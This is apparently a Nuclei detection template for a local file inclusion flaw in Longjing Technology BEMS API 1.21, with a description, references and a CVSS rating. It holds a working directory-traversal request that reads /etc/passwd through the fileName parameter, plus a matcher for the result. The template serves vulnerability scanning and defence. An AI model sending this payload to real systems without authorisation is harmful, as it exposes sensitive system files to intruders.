Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
PoC代码[已公开]
id: bems-api-lfi
info:
name: Longjing Technology BEMS API 1.21 - Local File Inclusion
author: gy741
severity: high
description: Longjing Technology BEMS API 1.21 is vulnerable to local file inclusion. Input passed through the fileName parameter through the downloads API endpoint is not properly verified before being used to download files. This can be exploited to disclose the contents of arbitrary and sensitive files through directory traversal attacks.
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5657.php
- https://packetstormsecurity.com/files/163702/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cwe-id: CWE-22
metadata:
max-request: 1
tags: lfi,packetstorm,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/downloads?fileName=../../../../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
- type: status
status:
- 200
# digest: 4a0a0047304502203398a25768c4d11a56bba987c8d8a6500a36ec9ba129675853a37f90f91b3323022100b9e57d58266b05eb9a505c81805dc446fadacbea469eb3e92e34718a427d83c9:922c64590222798bb761d5b6d8e72950